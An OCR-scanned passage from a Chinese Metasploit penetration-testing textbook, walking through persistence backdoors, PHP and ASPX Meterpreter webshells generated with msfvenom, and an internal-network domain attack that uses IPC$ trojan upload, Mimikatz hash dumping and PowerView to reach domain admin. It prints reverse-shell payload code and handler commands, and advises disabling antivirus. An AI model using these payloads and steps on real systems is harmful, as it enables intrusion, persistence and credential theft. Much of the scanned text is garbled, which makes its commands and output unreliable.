[I) E ，凹p\e: ,."JC< po过／肉rndc.:./rnanage/pe<·sistence •'• OPT !OfJ•,alue [. ] 
[ • j Running Pe<s1>tence Sιnpt 
[ • R•so υrce f1lo f。r clρanup c reat。d a飞 f ro。t I msf4/logs/porsistenc 。／WHJ-57T J48561MT_20170304. 364Sl'.'1tJ-57T J4 
20170304 3645. ,. , 

[' J Creating Payload••”ind。ws/mete<proto.r/<e,erse_tcp LHOST•192.168.172.138 LPO民T•4321
1·: Pρt sistent agent sc r1pt is 99677 bytes l。ng
[ • J Persistent Sc <ipt •『it ten t。 C: 飞υS8rS、 AD伺!NJ 、 1 、Appuat a飞Loζal 、 Temp 飞了eox·，的t Fa. •;bs 
['j Starting connection handler at pon 4321 for wrn:1c,.s/meterp<·eter/ro,erse_t叩
[•) e>ploit/mult主／ handler started ’ 
1·, b<cυt ing scrip飞〈飞υs•rsli飞。例 1IJ I 、 1 、AppData飞Local 飞 Temp 飞 TeO>WtFa. vbs 
[•) Agent eκeζuted .;ith PIO 2568 
[‘] Installing int 。 auto•·un as HKCU飞 Sof t“are 飞阿ic ros。ft 飞＇•ind。“s飞CurcentVer>ion、民un、u:ql，、·lHmVt:

[•] Install号d into aut。，un as HKιU飞 So It 命aro飞Mic r。set t 飞•1ndσ.s 飞Cur 『·ent 'ersicn 飞Run\uzqln\HmVt:

L’ Jnstallin9 ••' sor.·1ζ。
I'! Crea飞 inQ SeCVlC。 Xp二 T JJLa 
[ • J Moterpreter session 3 opened [ 192.168.172 138:4321 -> 192.168.172.149:49224) at 2口17 -03-04 17:36:47 •0800 

图5-89 创建持久后门

图5-89中命令的语法解释如下所示。

. A：自动启动Payload程序。

- S ： 系统启动时自动加载。. U：用户登录时自动启动。. X：开机时自动加载。

• 1：回连的时间间隔。

- P：监昕反向连接端口号。. r：目标机器IP地址。

可以看到， Meterpreter会话己经在目标机器系统中建立起来了，现在输入sessions

命令查看己经成功获取的会话，可以看到当前有两个连接，如图5-90所示。

但主工 ι ，在＼ oH( ) ，，二 s~ ion－：：、

Aιt l.•主 s号ssion;

Id Type !nforrnat1on ·:onnec !lon 

2 meterpr号tH ‘86hindo.s •Ill 57T J4日561MT 飞 Administ <at 。 r ＠肉I tJ-57T J4日561MT 192.168.172.13日.443 ,. 192.168.172 
149:49157 (192.168.172.149) 

3 motorprete r 飞86/,,indo•♀ •!fJ-57TJ48561 ”T 飞Administ rat。『＠ liHJ-571 J4日5611-11 192.168.172.138:4321 .; 192.168. 172 
149 ：斗922~ (192.168. 172.149) 

图5-90 查看成功获取的会话

图5-90中的信息表示该持久后门己经创建成功。

知识点： 这个脚本需要在目标机器上创建文件从而触发杀毒软件，建议运行前

关闭杀毒软件。
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5.8.2 Web 后门
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Web后门泛指WebShell ， 其实就是一段网页代码，包括ASP 、 ASP.NET 、 PHP 、

JSP代码等。由于这些代码都运行在服务器端，攻击者通过这段精心设计的代码，在

服务器端进行一些危险的操作获得某些敏感的技术信息，或者通过渗透操作提权，

从而获得服务器的控制权。这也是攻击者控制服务器的一个方法， 比一般的入侵更

具隐蔽性。

Web后 i'丁能给攻击者提供非常多的功能，例如执行命令、浏览文件、辅助提权、

执行SQL语句、反弹Shell等 。 Windows系统下比较出名的莫过于“中国菜刀”，还有

很多替代“中国菜刀”的跨平台开源工具，例如“中国蚁剑”和Cknife，均支持Mac 、

Linux和Windows 。在Kali下，用的比较多的就是Weevely, Weevely支持的功能很强大，

使用http头进行指令传输，唯一的缺点就是只支持PHP。其实Metasploit框架中也自带

了Web后门，配合Meterpreter使用时，功能更强大。

1. Meterpreter Fo门

在Metasploit中， 有一个名为PHP Meterpreter的Payload，利用这个模块可创建具

有Meterpreter功能的PHP WebShell。在攻击中使用Metasploit PHP Shell的步骤如下所

刁亏。

• 使用msfvenom创建一个webshell.php 。. 上传webshell.php到目标服务器。

• 运行Metasploit multi-handler开始监昕。

• 访问webshell.php页面。

• 获得反弹的Metasploit Shell 。

我们可以通过Metasploit的msfvenom工具制作PHP Meterpreter，命令如图5-91所

刁艾。

I ' f pphp/ f p f I f p LHO No platform was selected, choosing Msf: :Module: :Platfo 「rn: : PHP f rorn the payload 
No A「ch selected, selecting Arch: php f1orn the payload 
No encoder 口「 badchars specified, outputting raw payload 
Payload size : J~~ b＿｝＇！些些

图5-91 制作PHP Meterp「eter
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针对上述命令的参数说明如下所示。

• -p参数用于设置Payload 。

• -f参数用于设置输出文件格式。

生成的shuteer. php如图5-92所示。

~囚 shuteer. php ~巴 。＠＠
／气？php , •• , erro<:reporting （ 自 ） ; Sip z ’ 192 . 168.31.:247' ; Sport = 4“ 4; if (( $f三 一－
'st ream_socket_ client ' ) 晶晶 is_callable ( Sf )) ( ss = Sf ( ” tcp: II (Sip}· (Sport } ” }; ss_type = 
’ stream' ; } elseif (( Sf = ’ fsockopen ' )“ is_callable( Sf )) ( ss = Sf (Sip , sport ); Ss type = 
•stream' ; } elseif (( Sf = ’ socket create ’ ｝“四－曰llable( Sf )) { ss = Sf (AF INET, SOCK STREAM, 
SOL TCP ); sres = @socket_c。nnect ( ss. Sip , sport) ; if （ 『 $res ) { die(); } ss type z ’ socket 目 ，｝ else 
{ die ( ’ no socket tunes' ); ) if (! Ss ) {die ( ’ no s。cket ’ ） ; ) switch (Ss type ! { case 'stream' : Slen 
= fread( $S, 4); break; case ’ socket' : Sten = socket_read( Ss , 4); break; ) if (’ Slen ) { die(); ) sa 
= unpack( "Nlen· , Sle川 ， Slen = Sa {’ ten ’) ; Sb = '' ; while (strlen( Sb) < Sten ) { switch ($s type ) 
{ case 'st re啤m ’ ： $b .= fread (Ss , $len-strlen ($b )); break; case ’ socket ’ . $b .= socket read( ss , 
$len- strlen( Sb) ) ; bre也k; ) } $GLOBALS{ 'msgsock' J = $s ; sGLOBALS{ 'msgsock type' J = ss_type ; eval 
(Sb); die() ; 

图5-92 查看生成的shuteer . php内容

然后将shuteer.抖1p上传到目标服务器，这里因为是虚拟机，所以就直接复制到Kali

下的／var/www/html 目录，打开WebShell网址，如图5-93所示。

~ @I var 

自 自
index.php nishang shuteer.php testphp 

p 

en ts 

图5-93 复制圭I] Kali的／va「／www/html 目录下

接着启动Msfconsole，使用以下命令设置监昕，如图5-94所示。

旦旦工〉 use exploit/rnuft:iiliandl.er I 
旦旦工 exp lo it ( ) > set payload php/rneterprete r I reverse tcp I 
payload => php/mete 「preter/reverse tcp I 
旦旦工 exploit( ) >set lhost 192.168.31.247 I 
lhost ~＞ 192.168.31.247 I 
盟主工 exploit( ) > 「un I 

图5 -94 设置监昕命令

然后打开htφ：//127 . 0 . 0.1/shuteer.php，如图5-95所示。
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Kall T创s I 

产no socket 

图5-95 打开shuteer . php

回到MSF下面，可以看到服务端已经反弹成功，如图5-96所示。
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图5-96 反弹成功

最后使用sysinfo和ge阳id等Meterpreter命令渗透目标主机。

2. Aspx Meterpreter Fo门

本节要介绍的是Metasploit下名为shell_reverse_ tcp的Payload，利用这个模块可创

建具有Meterpreter功能的各版本ShellCode，例如比较常见的Asp 、 Aspx、 msi 、 vbs 、

war等，下面以Aspx为例。

在攻击中使用Aspx Mete甲reter后门的步骤和Metasploit PHP Shell的大概相同。首

先使用下列代码调用该模块， 并设置相关参数，如下所示。

show payloads 
use windows/shell＿「eve「se_tcp
info 
set !host 192 .168. 31. 247 

set lpo「t 4444 

save 

接着输入generate -h命令查看帮助命令，如图5-97所示。

/ __,/ ＇－－－ 飞
I - .-- I 
I • •』
、 、J , 
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E主f payload( ) >generate -h 
Usage: generate [options] 

Generates a payload. 

OPTIONS: 

t Force encodrng 
h <opt> The list of characters to avoid: '\xOO\xff' 
F 气opt> The name of the encoder module to use. 
' opt> The output file name (other.性se stdout) 
h Help banner 
1 毛opt> the number of encoding iterations. 
" Keep the template executable functional 
匀 e opt A comma separated list of options in VAR=VAL format . 
．，．”υ ＇ The Platform for output. 

。l川、 NOP sled lenQth. 
’ ·1~ The output format: bash,c,csharp,dw,dword,hex,java,js be.is le,num,perl,pl, 

po＂·飞＂＇＂ l. p·. I, py, python. r av1. r b, ruby, sh, vbapplication, vbscript, asp, aspx, aspx-exe, axis2, dl 
l, t' ’ Pl f .o,C'xe,exe －。nly,exe·service,exe-small,hta-psh,jar,jsp,loop-vbs,mach口， msi,ms1-no
ua《、 Y ·•PP ，”写h,psh-cmd,psh-net,psh-reflect 1on,vba,vba-exe,vba-psh,vbs,war

' opt.. lne executable template to use 

图5-97 查看帮助命令

生成各版本ShellCode的命令如下所示。

gene「ate - t asp 

gene「ate -t aspx 

／／生成的p 版的 ShellCode

／／生成的px 版的 ShellCode

这里生成一个Aspx版的WebShell，内容如图5-98所示 。

E主1 pav\oadl I > generate t aspx 
〈，串 Page Language=··c*· AutoEventWireup= true 、〉

<'•-'' !rnpo1 t Narnespaιe= System. IO＇飞＞
<Sζl iµt n n ，飞 L Sρr ver· > 

, ... , :''" 时atl< !nt32MEM Eα·V·llT =Oxl6自由，
t川自：‘、t.11 ic Int Pt 『 PAGE EXECUTE REAOliRITE= I IntPt r )Ox4日，

1 、. ' .. R• ”", rn, lnteropSe 『＇JJ res. Dl \Import I "kerne l32 ” ll 
，‘＿，｛（•飞T artc nxtern lntPt1 Vir 飞 ua\Al loζI Int Pt 『＼pStartAdd1 ,UlntPtr size,lnt32 f\A\loζationTyp 

e,!- ·•· ttrrctectl; 
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p1otected vo111 P.ige Load(ObJeζt sender, EventArgs e) 
{ 

’ v’ pl I ,,nr 叶Irk ne>c byte[3241 { 
ox I c, Oxe8, OxB/. OxOO, OxO日， OxO日， Ox60, Ox89, Oxes, Ox31, OxcO, Ox64, Ox8b. Ox5日， Ox30. Ox8b, Ox52, OxOc, Ox8b ，自x52
0'14. Ox8b, Oxl2. Ox28, OxOf 

图5-98 生成Aspx版的WebShell

我们把内容保存为aspx.aspx，再上传到目标服务器，这里因为是虚拟机所以直接

复制到Windows 2012下的C:/inetpub/wwwroot 目 录，如图5-99所示。
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「 ，这台电Ji; . 本地忍鑫（C:) • in~pub • wwwroot 

主主吃 修改B黯 撞里 夭’j、
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ospnet_cl1ent 
~ 1.ospx 

~ iis-85.png 

e ‘”“,tart.htm 

2017/6/5 22:45 文悻实
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图5-99 复制到目标目录下

接着启动Msfconsole ， 使用以下命令设置监听。

use exploit/multi/handle「

set payload windows/mete「P「ete「／「eve「se_tcp

set Lhost 192.168 .31.247 

set lpo「t 4444 

「un 

然后打开hrtp:// 192 . 168.31.250/aspx . aspx ， 如图5-100所示。

http:l/127.0.0.l/test.php x h忧p1/192.1 .. 50/aspx.aspx x + 

令 ; II:帽眈：)ti瓢而J]Jil,l恤

l\':i! Most Visited., lilOffenslve Security ' Kall Un山 、Kall D。cs 、Kalil·刷

图5-100 打开网页

回到MSF下面，可以看到服务端已经反弹成功，如图5-101所示 。

E且I exploit( ) >set lhost 192 168 . 31.247 
lhost => 192 .168.31.247 
E且I exploit ( ) > run 

[ ·) Started reverse TCP handler on 192 168.31 247:4444 
I I Starting the payload handler. 
[ • J Sending stage (33986 bytes) to 192.168.31.247 
['I Meterpreter session 1 opened (192.168.31 247.4444 > 1q2 16日 31.247:43428) at 2017-06·04 09:58:18 ·0400 

回罩m;n;mJE

图5-101 反弹成功

最后可以使用sysinfo和getuid等Meterpreter命令渗透目标主机。
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5.9 内网攻击域渗透测试实例

5.9.1 介绍渗透环境

首先介绍此次渗透的环境：假设我们现在已经渗透了一台服务器PAVMSEF2 1 ,

该服务器内网E为 10.51.0.21 。 扫描后发现内网网络结构大概如图5-102所示，其中

PAVMSEF21是连接外网和内网的关键节点，内网的其他服务器均不能直接连接。

PC 

图5-102 内网拓宁｜、环境

PAV孔~SEF2 1

10.51.0.2 1 

PAVMSEPl 3 1 
10.51.0. 13 1 

PAVMSXD30 
I 0.5 1.0.30 

PAVMSAD63 
10.51 .0.63 

城控

我们的渗透目标是通过一个普通的WebShell权限一步步地获得域管权限，从而掌

控整个内网。

5.9.2 提升权限

上传免杀的Payload到机器名为PAVMSEF21 、四为10.51.0.21的服务器上，然后在

“中国菜刀”或者WebShell下运行，如图5-103所示。
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~t e机pl。 it( )>run 

I ~t•rt•d HTTPS rover•• handl•r on http•: //0. O . 0. O: 443/ 
I S '•rt1no t:hc poyl。ad handler. 
I ；~~~；~~ . 209. 72 ：“山（UUIO: 0 1阳川盯出5b2/ x8 6•l/'Jin阳，•l／川$－ 1 2 ’ !lTl ?!
I 1•tcrpretcr •••»o n l 。p•ned 刊s. .30 .443 - > r 企 l ：“161 i at 

陆四旦 ＞ P• 

图5- 103 反弹成功

获得Meterpreter Shell后要做的第一件事情就是提权。通常，在渗透过程中很有

可能只获得了一个系统的Guest或User权限。低的权限级别将使我们受到很多的限制，

所以必须将访问权限从Guset提升到User， 再到Administrator，最后到SYSTEM级别 。

我们先尝试利用本地溢出漏洞提权，即使用本地漏洞的利用程序（Local Exploit) 

提升权限。 也就是说，通过运行－些现成的、能造成溢出漏洞的Exploit，把用户从

User组或其他系统用户组提升到Administrator组（或root ）。

此时，我们获取的权限是一个普通域用户权限，如图5-104所示。
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图5- 104 查看权限

首先利用本地溢出漏洞提权，发现服务器补丁打得很全，接着尝试使用MSI5051

和MS l5078，都以失败告终，如图5-105所示。
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m~f exploit ( 
m~r exp.i.Ll ℃｛ 

) > use exploi飞／ ·•ir.dow3.' local/!Il3 A 飞 051 cllen℃ c。PY l皿.ege

）、，俨3S L。no

Act1 ve •ess1ons 

1'1 Type lnfo m田’ a •. 芒。nnect1。n

l met erpretor M86/wln >:/ HfOAlllLl!-11« l8i 8 PAVH~~fJl ‘ 5. 30:'113 牛＞ 200.21 

m•f ex1>lo L 飞｛
!H~:J!!lnr1 －必 1

msr ex1>lOH ( 

) > oe飞＂＂＇＂＂＇＂＂ l 

) , ru1• 

~tar led n::veroe handler "" 1~ 30 : 1-Mi 
Ex1>Lolt sbortNl due t c; fel1ur<,; IH•t vulneral,Je: Pxplolτn。t avnllable 。n th1• 

msr expl 。 lt ( ＇、 uoe expl()lt /w1ndowo/ l 。cal ／皿ol5 076 at!J.fd 

msr explol℃（ ) ) ""' '""' a 。n l 
ses'1un • > l 
msr exploit ( ) ; run 

St art ed reverse han<Her ,,n 毛飞
Ch<"<:kin9 carQet ... 

·io·HH 

Exp lo立巳 ab。rted due to fa豆lure: not-vulnerable: Exp l。H n。℃ available 。n thi• 

图5-105 利用本地溢出握权

再尝试绕过Windows账户控制 CUAC），我们现在具有一个普通域用户的权限。

利用Bypass UAC模块提权， 又以失败告终， 如果成功会返回一个新的Meterpreter Shell, 

如图5-106所示。

嚼蹦
) > use explo1t/w1ndows/local/bypassuac 

) > set 11essl.on 1 

) > run 

Started rever11e handler on 1~ 』0 ： ~11'1

Exploit aborted due to failure: n。t-vulnerable: Windows 2012 (Build 9200) . 

sf exploit( ) > se:is1on• 

图5 - 106 利用Bypass UAC提权

使用Bypass UAC模块进行提权时，系统当前用户必须在管理员组，而且用户账

户控制程序UAC设置为默认，即“仅在程序试图更改我的计算机时通知我”， 而且

Bypass UAC模块运行时会因为在目标机上创建多个文件而被杀毒软件识别 。 我们没

能绕过UAC ， 可能是这两个原因。

其实提权没有成功也不要紧，我们还是可以以此服务器为跳板，攻击其他服务

器的。



第 5幸 Metasploit技术 ‘ 245 

5.9.3 信息收集

虽然此时的提权不成功，但还是可以进行域渗透测试的。有了内网的第一台机

器的权限后，就到了很关键的一步－一一收集信息，它也是内网渗透中不可或缺的一部

分。

首先要查看当前机器的网络环境，收集域里的相关信息，包括所有的用户、所

有的计算机，以及相关关键组的信息，下面列出了常用的命令及其作用，如图5-107～

图5-112所示。

• net user /domain ： 查看域用户 。

• net view /domain ： 查看有几个域。

• net view /domain:XXX ： 查看域内的主机。

• net group /domain ： 查看域里面的组。

• net group “ domain computers” ／domain ： 查看域内所有的主机名。

• net group “ domain adrnins” ／domain ： 查看域管理员。

• net group “ domain controllers" /domain ： 查看域控制器。

• net group “ enterprise admins" /domain ： 查看企业管理组。

nettime/ domain ： 查看时间服务器。

巳： ＼ Java6\jb。ss-4 . 2.3 . GA飞 serv吧~r ,d.,raul ~ 飞 tmp\d吧＇ploγ＼：1qo44:.J ＂.”· ;H9206 叫4~ 均 lS e 
ipc。n !1Q 

l\'!aa1r•t•l.'C'＂＂＇－·…－·····一

l描画.i~.. 咀－·t•t.t•I111~…植面....…‘』.. 副

Conn1>ct1on-!Jp1>ci!ic OHS Suffl>: 
Link-1。cal IPv6 Addr1>:is . .. .. : reso : :a970 : rJSc6 : c·ier· 俨斗 9e ‘二2

IPv1 且ddre:ss. . .. . . .. . . : 10 .51.0.21 
Subn"'t Hask . . . . . . ... . . : 255 .255.0.0 
o.,,rault Gateway . . . .. .. . . : 10 .51.6 .251 

…Hhl~·t•f•l崎岖导…·－···.. ··•－•＇晋3.ll;1:1•:•1t1S.~哩::s:rec~’回~r-:11~Ul&G画••>l－回

图5-107 查看IP Config 
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图5-108 查看域内主机

C : \>ne c group /domain 
nei; group /do血ain
The request: will be pr。cessed at: a d。因.ain c。nt:r。ller f。r doni.ain rr.edab 

Group Account::! ror 飞飞 PA‘IJHSAD64 . ' . c。I'll • • 

• SDUPLICλT!:-5326 
•$DUPLICATE-5a5e 
• $UUQOOO-IOHV3POPRlJO 
• Ac。－Admini:n:;rat:lv。 Gravaca。

’l1c。－Adml.Ol.st:rat:l.V。 Lei.t:ura

’ Ac。－Al陀。xari.fad。

’Aco-Ambulat:。r1口

图5-109 查看域里面的组

图5-110 查看域管理员
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IC: \>nee qroup ” Domain Concroller:s ” /dom且主m

nee qroup ”。omain Concrollcr:s ” / domain 
he requc!lt w111 he: proci::1u1ccJ 矗巳 a domain controller t'.or domain m噎

Oomnin Concrollcr.11 
翩翩翩 All domain concrollcrs 1n the clam晶1n

回im!罩罩

踵温监盟且边回

l:l!'阻，6.. "T!而ltl::'I‘·♂’

图5-111 查看域控制器

NBVHSA063$ 
PAVMSλ064$ 

C : \>net g z。up ”Eni;;erpr1•• Adm主n•" /don国1n

net. group ” l!:nt.crpr1111c lid皿1n:s'' /d011141n 

NB VHSλD岳4$

SEVHSJ!..D64S 

The request w1ll be pr。cessed at a dom.aln concroller ror dom.aJ.n mεd 

Group name 
Commenc 

Member:s 

llclrni n 1 :i 巳 ro1;or
grupρen 

:symantec 

£ni;;crpr1sc: Adm.t.ne 
De:slqnated actnun1st.racor:s or the entcrpr1se 

baclcupc><•c 
。rr1ce~65

dellbaclcup 
processor 

图5-112 查看企业管理组

通过收集以上信息，我们可以分析出很多重要的线索，例如内网是怎么划分的，

各机器名的命名规则，根据机器名尝试找出重要人物的计算机，以及目标机是否为

多层域结构， 关键是要探测出域管理员的名字和域服务器的名字等信息。

5.9.4 获取一台服务器的权限

我们的目标是域服务器，此时有两种情况：当前服务器可以直接攻击域服务器

和不可以直接攻击域服务器。不可以直接攻击又分为两种情况：如果是权限不够就

需要提升权限；如果是不能连接到域服务器，则需要攻击内网中某个可以连接到域

服务器的服务器，然后以此为跳板再攻击域服务器。

现在因为权限问题不可以直接攻击域服务器，可以采取以下方法继续渗透。

. 使用Meterpreter 目前拥有的权限添加内网路由，进行弱口令扫描。

仅供非商业用途或交流学习使用
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• 使用PowerShell对内网进行扫描（要求目标机是Windows 7以上的服务器） 。

• 架设Socks旬， 然后Socks会自动进行内网扫描。

• 利用当前权限进行内网IPC$渗透。

• 其他方法。
通过上面的分析，我们先选择最简单的方法，输入net view命令，在列举的机器

名里选择一个和我们机器名相似的服务器来试试，不出意外的话，成功率很高，如

图5-113所示。

图5-113 IPC$渗透

下面再给读者温习下经典的IPC$入侵。

IPC$入侵， ~p通过使用Windows 系统中默认启动的IPC$共享获得计算机控制权

的入侵，在内网中极其常见。

假设现在有一台IPC$主机： 127. 0.0 .25 ，输入以下命令。

D:>net use \127 .0.0.25\ipc$ 
D: >copy s 「v.exe \127.0.θ.25\ipc$ 

D:>net time \ 127.θ.0.25 

D: >at \127.θ ． θ . 25 1θ ： 50 s 「v.exe

置的时间要比主机时间快）

＃连接 127.0.0.25 的 IPC$共享

＃复制 5「v.exe 到目标主机

＃查时间

＃用 at 命令在 四 点 四分启动 5「v.exe（注意这里设

上述命令中的at就是让计算机在指定的时间做指定事情的命令 （例如运行程序）。

这里把免杀的Payload上传到JPAVMSEP131服务器，然后利用at命令启动Payload,

反弹回Meterpreter Shell，具体操作如图5-114～圈子116所示。

1: : \ >::p;· C 飞~a·:aE \ ;t<:» 毛； • l . :;.;. ··＝四ndefo,l ： ＼ .飞冉、 ceι： c；·口号但 e 2 e" s e33' 92 oeo~29H-e;qi .....叭ba:.bot 飞＼ Pl.Vl'.SEP131飞cs

j;cp;· :: 1. Jo~ae\ :oc»－毛 2.;.:;;. ，.，..，盯出!o"lt飞 . \ :q: 飞 depl巧可寻H~le二！！ 33~♀2'€0;2910-exp 10ar飞bot. ！；＞！τ 叭队四SE?!J: \ cS • 
I : flle (o) ccpie:l 

图5-114 将木马复制到目标服务器

仅供｜｜二附收Hl i垂或交流学习使用



第 5幸 Metasploit技术 ‘ 249 

:\>bet: ℃ime \\PAVMSEPi3~ 
e巳 ℃ime \\PA飞屯·！SE P工 31

urren℃ time a℃＼＼ PA飞t1·!SEP131 :i.s ·..,..,·. 
工 6:12:32

『’.. ~.刷刷刷刷NH－•”HR•，雹幢幢砸．．匾’崎岖．“副部’磕膏，．．咱E

图5-115 查看系统时间

图5-116 使用at命令启动木马

接着返回handler监 ll ，可以看到反弹成功了，我们获得了PAVMSEP 131服务器的

Meterpreter Shell，如图5-117所示。

msf e且plait( ) > ru口

Star 巳ed 日TTPS revcr:.ie handler aηht:t:p:.i://0 . 0 . 0 . 0:443/ 

St:llrt ln<J t h盯 payloacl h11ndler ... 
;- . . 7:>: 18859 (UUID: ·1·13blb0d7t1C c寸Ole／且86“ l /wi ndm1:i~1; 2015 ” 

Meteεpr et口 r :'lC.'.l!ll.O口 2 opened (15. . 30 : •H3 －＞…一. ·iJ 

“明咀咂‘…...咀，.__ t.l!J 

图5-117 反弹成功

下面来看看PAVMSEP131服务器的信息和现在的权限，如图子118所示。

『r.ctcrprct:cr > :Jy::nnfo 
Corr.putcr : PλVMSEP131 

o:; 
λz ch l 巳ccture
Sy:iterr. L11nguaqe 
Domain 
Logged On Users 
Heterpreter 

1'1.tndo’,.,:; :rnoe R:> (!lu1ld 7601 , s盯rv1cc Prick 1) . 
x6•J (Current Procc:i:i l:J HOH6·J) 
pt !lR 
MEDλBIL 

12 
χ86/w1n32 

rr.eterpreter > getuid 
Server userηarr.e ：盯 λUT.HO!UTY\SYSEH

meterpreter > getpid 
Current p主d: 176'!0 

图5-118 查看系统信息

仅供｜非商业用途TI!i.交流学习使用
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可以看到没有SYSTEM权限，说明既可以使用Mimikatz等工具，也可以输入run

post/windows/ gather/hashdump来抓Hash 。

我们在用MimikatdJRHash之前要注意一点：如果服务器安装的是64位操作系统，

要把Mimikatz进程迁移到一个64位的程序进程中，才能查看64位系统的密码明文，在

32位系统中就没有这个限制。

这里使用Mimikatz抓Hash，具体操作如图5-119和图5-120所示。

rr,ctc古巴旦旦＞ upload /horr,c/ 6•1 cxc c: \ I 
upl。.-id 立 nq : /!loπc/6•l. 。：＜c -> c:\ I 

rr.cte:rp:rct.c:r > !Jhell I 
Process 291~ created. I 

Channel 6 creaced. I 

Hicrosof t Wind。ws [Versie口 6.1.76011 I 

图5-119 上传MIMIKATZ

C:\Wind。wg\gygterr.32>cd \ 

6-lcd \ 

c: 6•1. """ 
（；.｝.。＂＂

λu t!w口t ＂＇＇、u 凹口 I’，飞C knr；俨

kerll们 ro!I:

Wdl(J"!lt: 
t:ipk<J 

tl:<t'r Pn ：飞C 立 pal

Dorr .. 1 卫：l ；，‘u tllent.1c"t1on 

λuthent.1c11c1 on Paclrn<;e 

kerb er。＇＂
wd1gest: 
tspkg : 

Use::: P:::i 旦Cl.pal

D。rr.a1nλuthenticati。口

λuthe:1ticat.1。ηPackage

ke:::ber。s:

•,;digest:: 
tsp kg 

User Principal 

11·1·”·罹…－吨........……r---•MI

图s-120 Ml取Hash

l-'.crbero:i 
”：：； ~·sterr.Ol()" (Or.) 
"!i','!ILC况。 1() " (OK ) 

"!i~＇ ＂ t("IT,01 包 ＂ (Or'.) 
SQLEprocurcπ＂＂ nt (0。rw1n Use::) 
HEDλBI!. 

Kerbe z。s
”5γst err.O l ()”(Cr.) 
” 5γst.err.OlG”（OK) 

” S:,·st.err.Ol:l”(CK) 
SQ!.::p ：：：。 c·J:::err.e:1t. (Dcrr.al.:1 Use:::) 

HEDλ3IL 

Ker be z。s
”汀，edabJ.12013 ＠”

”比edεbil2013 ~ ”

” rr.edabi12013 @” 

(OK) 
(OK) 
(OK) 

圃翩嚣捶幽幽幽幽幽

接着查看抓到的域用户的权限，如图5-121所示。

仅供｜｜＝商业JTJj垂成交流学习使用
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C: \Windows\system32>net use:: Joao.gue::i'.10 /dcrr.a工立

ηet use:: j 口ao.gueri口。／dcmai'.1

The request will be pr。cessed ac a dcrr丘 l.'1 cc旦EE口ller fer 』－…. ：：：‘eda』il .c~. 

U:icr narr.c 
fu 11 tlarr.e 
Corm.c口E

U!ler ' !l c口IrJT.Cnt

c。untry c口d巳

λcc。unt <tC 巳 l.VC

r、cc。u:it expi rc:i 

。
”“ L -z c u 产U

Da nu

-iw 

ls 
v
·
、
‘

e

巳

ua qeB . 口
。

a=· 口

C

3J 

000 (S:,•.:Jterr. De(a~1lt) 

Ye!l 
?I巳 ＇／＜：.＇：：

P11:>:iword l" g巳 !l巳E

Pl1:i,.wor d 巳：＜p立 rc:i

Pl1!l:Jword chtmQct.tblc 
Pl1:i:Jword rcquJ.r<.:d 
U:Jer ""'Y Chlln<Jt: Plt.:J.:JW。rd

31/03/20l·i 19:·ie:oe 
tlc•1er 
31/03/20l·i 19:1e:oe 
Yc.:J 
Y巳3

Work:Jt1tticn!l allowed 
L。q。n !lCrl.p巳

U:J巳r pr。E J.le 
！！口rr.e di rectory 
L;.i:Jt loQcn 

λi l 

10/12/2015 H:26:33 

LOQOη 巳。ur!l allo·,1cd J、11

Loc.il Gr口up Hcrr.bcrship!l 
Global Group rr.crr.ber:ihJ.p!l ·cproc·..i:::err.e::t · :·!ED - i.ccs!lo Rc::-.'.lτc 丁

·!·!ED - Libera \-iE3 - Tc·Ocr:-.ai:: Users 
The coπ·.rr.a口d coπ.pleted succes3f；日l ly . 

图5-121 查看域用户的权限

5.9.5 PowerShell 寻找域管在线服务器

Windows PowerShell是一种命令行外壳程序和脚本环境，使命令行用户和脚本编

写者可以利用.NET Framework的强大功能。 PowerShell还允许将几个命令组合起来放

到文件里执行，实现文件级的重用，也就是说具有脚本的性质。

这里先使Power View脚本来获取当域管理员在线登录的服务器，我们将Power

Viewnf.fl本的Invoke-User Hunter模块上传到主机名为PAVMSEP13l, IP为 10.51.0.131 的

服务器中，然后输入Invoke-UserHunter，如图5-122所示。

具体命令如下所示。

powe「shell.exe -exec bypass -Command 

”＆｛ Impo「t-Module .\power、view.psl;Invoke-Use「Hunte「｝” 、

仅供 1rn~v.m；垂成交流学习佼用
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C：飞Users\joa。 .guerin。＞p。叼ersnell . exe -exec bypass -C。在n:and ”品

p。；，；ershell. exe -exec bypass - Co11皿and ”品！ Irr.pon-Hodule .飞p。we

UBerD。n-.a1n : 1 . . 争”” ll.C。rn . br

Userl!arne : i\dn-.1nl:itrator 
c。11.puter?!ame : tl9v1·!Sll8S136 .. 、 ．．．』 ll.c。rn.br

IP : 10 . 54 . 0.136 
Ses!J1onfr。m : 10 . . 5·1.0 . 13 
Loe“ lhclm主n

U!JerDoma二n : · · .c。rn . br

U二JerNarne : rnal~l3 

c。mputertlan-.e : tl!3\ll!SFS04 . 1. ＿＿町’ ~ .c。m . br

IP : !10 . 54 . 0.58 , 10 . 54 . 0.41 
Se!ls1onfrom : 10. 11. l . 11 
LocalAclm1n 

lJ:JerD。main : · . com . b立
U!JerName : m111313 
c。n-.puterName : PλVl!SSI ！’ ” ·1 . · － · . 、 .com.br

IP · 10.Sl.O. _ _ J 
SC!J!J且。nfr。m : 10.ll.l.8 
Locali\Clm主n

U:JcrDoma1n ： 在二 . c。m.br

U!Jertlan-.e : mal313 
c。mpucerName : p;,VJ·!SSl!" - · ·二 .c。m . br

IP : 10.Sl.o.: · 
Sc!ls1onfr。m : 10 . 11.1.11 
L。calAcirnin

图5 -1 22 获取当前域管理员在线登录的服务器

可以看到域管理员当前在线登录的机器主机名为PAVMSXD30, IP为 I 0.51.0.30, 

此时需要入侵此服务器，然后将其迁移到域管理登录所在的进程，这样便拥有了域

管理的权限。

5.9.6 获取域管权限

现在笔者成功地获取主机名为PAVMSXD30, IP为 10.5 1.0.30的服务器权限，接下

来就可以渗透域控了。

首先输入getsystem命令提升权限，如图5- 123和图5- 124所示。

I; p , , SρTVt'l" ＂＂口 rnnrr.<• : Ml-:J)λRI I入m111~·16
rr.,,terpret:.盯r > ae 巳 !JY:J 巳巳m

• • qot :JY!Jtcm VJ.心巳巳chnl.qu巳 l (Namc<.t Pipe .tir.『Jcr ：＞。nuq.。：l (In Memory/ A<.lml.n)) . 

图5-123 输入getsystem命令进行提权

仅供非商业用途wz交流学习使用
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｜…瓦…9阳G: l·…I ［＇／句
a却...； cc..:.l>l」＂＂＂＂～〉凸UιllJ 叫 l

图5-124 查看当前用户

可以看到笔者现在的urn是sonicwall，从前面获取的域管理员账号信息中己知

sonic飞凡rail是域管理员。

然后输入ps命令找到域管理所在的进程，把Meterpreter Shell进程迁移到此进程中，

成功后就获得了域管理权限， 如图5-125所示。

l正 l
"') E立。rr. c071 ~飞0 30S6~ I 

lhgr<>t 立。n c。πpl"t ＂俨I ·＂＇＇＂＂＂丹” t'ul 1γ ｜ 
